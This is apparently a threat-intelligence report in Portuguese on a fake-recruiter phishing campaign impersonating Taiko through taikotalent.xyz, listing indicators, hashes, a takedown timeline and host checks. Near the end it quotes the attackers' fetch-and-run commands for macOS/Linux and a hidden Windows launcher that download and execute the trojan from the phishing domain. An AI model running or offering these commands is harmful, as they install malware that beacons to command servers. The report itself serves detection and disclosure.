IoCs, cadeia de ataque e deteção da campanha de falso recrutador da Taiko em taikotalent.xyz, que entrega um trojan Bash autoeliminável através do truque "anti-bot" de colar no terminal. Payload ainda ativo em 2026-10-09.
STATUS: REMOVIDO. O domínio malicioso
taikotalent.xyzfoi suspenso pelo seu registrador (clientHold) em 2026-10-10 às 02:39 UTC — ~12 horas após o nosso acompanhamento, baseado em evidências, junto ao AWS abuse, com o payload ainda ativo. Verificado em 2026-10-15 via RDAP e DNS. Detalhes na linha do tempo abaixo.
ATUALIZAÇÃO 2026-10-15 — DOMÍNIO DE PHISHING REMOVIDO.
taikotalent.xyzehr.taikotalent.xyzagora retornam NXDOMAIN (verificado via DNS-over-HTTPS, 2026-10-15) — 10 dias após os relatos coordenados de 5 de outubro (caso AWS179121234700301, ticket NameCheapNC-DFA-2100, 13 canais notificados). As URLs do payload (/verify_m,/verify_w) não resolvem mais.PARCIALMENTE RESOLVIDO — a camada de C2 ainda está ativa:
api.gaganata.ink(104.21.84.196 / 172.67.196.60) eapi.fallgganata.inkainda resolvem por trás da Cloudflare e respondem HTTP (404 na sondagem, 2026-10-15). Os relatos de abuso para os domíniosgaganata.ink/fallgganata.inkpermanecem pendentes junto ao registrador e à Cloudflare (o formulário de abuso exige navegador + Turnstile).Status em 2026-10-09 00:46 UTC (histórico): payload ainda ativo —
https://taikotalent.xyz/verify_m→ HTTP 200, 49.916 bytes, idêntico byte a byte à amostra de 5 de outubro, 4+ dias após o relato de abuso à AWS.
Uma campanha de phishing direcionada que se passa por Taiko (a empresa de rollup da Ethereum — domínio real taiko.xyz, sem qualquer afiliação com taikotalent.xyz) envia e-mails de recrutamento falsos de "vaga de Engenharia" para desenvolvedores de código aberto, coletados a partir de seus perfis públicos no GitHub. O falso "portal de candidatura" termina em uma página de "Verificação anti-bot com Terminal" que convence a vítima a colar um comando de download no seu próprio terminal — nenhum exploit é necessário, o próprio usuário executa o malware.
| Data (UTC) | Evento |
|---|---|
| 2026-10-05 | Campanha recebida; amostra colocada em quarentena; relatório forense completo enviado (caso AWS 179121234700301, Resend, Taiko) |
| 2026-10-09 | Divulgação ampliada: este repositório, gist, dev.to, snippet no GitLab, Telegraph; mais 9 notificações, incluindo abuso à NameCheap (→ ticket NC-DFA-2100), Softshellweb (host do payload), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 veículos de mídia. Payload ainda idêntico byte a byte e ativo |
| 2026-10-15 | taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN. Infraestrutura de phishing derrubada 10 dias após o primeiro relato. C2 (api.gaganata.ink, api.fallgganata.ink) ainda resolvendo por trás da Cloudflare |
/var/tmp/.kdm.*, desanexado via double-fork do perl, loop de limpeza com 60 tentativas.| Tipo | Valor | Contexto |
|---|---|---|
| Domínio | taikotalent.xyz | Registrado em 2026-09-27 (Namecheap), 8 dias antes da campanha |
| Subdomínio de envio | hr.taikotalent.xyz | DKIM d=; MX → gateway de entrada do AWS SES |
| Remetente | [email protected] | Identidade falsa "Joseph Quintana, Talent, Taiko" |
| IP de envio | 23.249.215.58 | d215-58.smtp-out.sa-east-1.amazonses.com (Amazon SES via Resend) |
| Portal | https://taikotalent.xyz/ | SPA de "convite privado", códigos Ref por destinatário (Ref-oxqgd77kb9zw14) |
| Exfiltração | POST /track-activity | Fingerprint do dispositivo + nome/email/usuário do GitHub em cada etapa do formulário |
| Payload (macOS/Linux) | https://taikotalent.xyz/verify_m | stager bash de 49.916 B "deepfake_guard" — ATIVO 2026-10-09 |
| Payload (Windows) | https://taikotalent.xyz/verify_w | lançador v.cmd, janela oculta |
| C2 | https://api.gaganata.ink/guard-launcher-result | beacon de status de instalação (Namecheap, com frontend Cloudflare) |
| C2 de backup | https://api.fallgganata.ink | Endpoint secundário |
| IP do host do payload | 193.160.32.10 | Shock Hosting (US-SHOCK1-20191118) |
| Segundo estágio | /var/tmp/.kdm.XXXXXX | Estágio embutido decodificado em Base64; autoexclusão antiforense |
| Artefato | SHA-256 |
|---|---|
verify_m em quarentena em 2026-10-05 (49.916 B) | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d |
verify_m reobtido ATIVO em 2026-10-09 | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (idêntico byte a byte) |
| E-mail de phishing original (bruto) | 84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564 |
Anexo .eml original (11.098 B) | 3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3 |
| PDF do relatório forense (17 páginas, 201.044 B) | d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c |
curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (do NOT execute the download)
YARA (consulte yara/bash_stager_taikotalent.yar)
Verificação de comprometimento do host (macOS/Linux):
ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null
Rede: bloquear/monitorar egress para *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (incl. subdomínio hr.).
Admins de e-mail: tratar SPF/DKIM pass de domínios registrados recentemente como neutro — autenticação ≠ reputação.
[email protected] (DKIM s=resend d=hr.taikotalent.xyz, via Amazon SES sa-east-1, IP 23.249.215.58).POST /track-activity exfiltra fingerprints de dispositivo em cada etapa.perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_mstart -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'deepfake_guard: relança destacado via nohup, faz beacon para api.gaganata.ink/guard-launcher-result (fallback api.fallgganata.ink), decodifica o segundo estágio base64 embutido para /var/tmp/.kdm.XXXXXX, executa-o com endpoints C2 como variáveis de ambiente e então se autoexclui — launcher, arquivo de status e artefatos em /var/tmp (loop antiforense de 60 tentativas).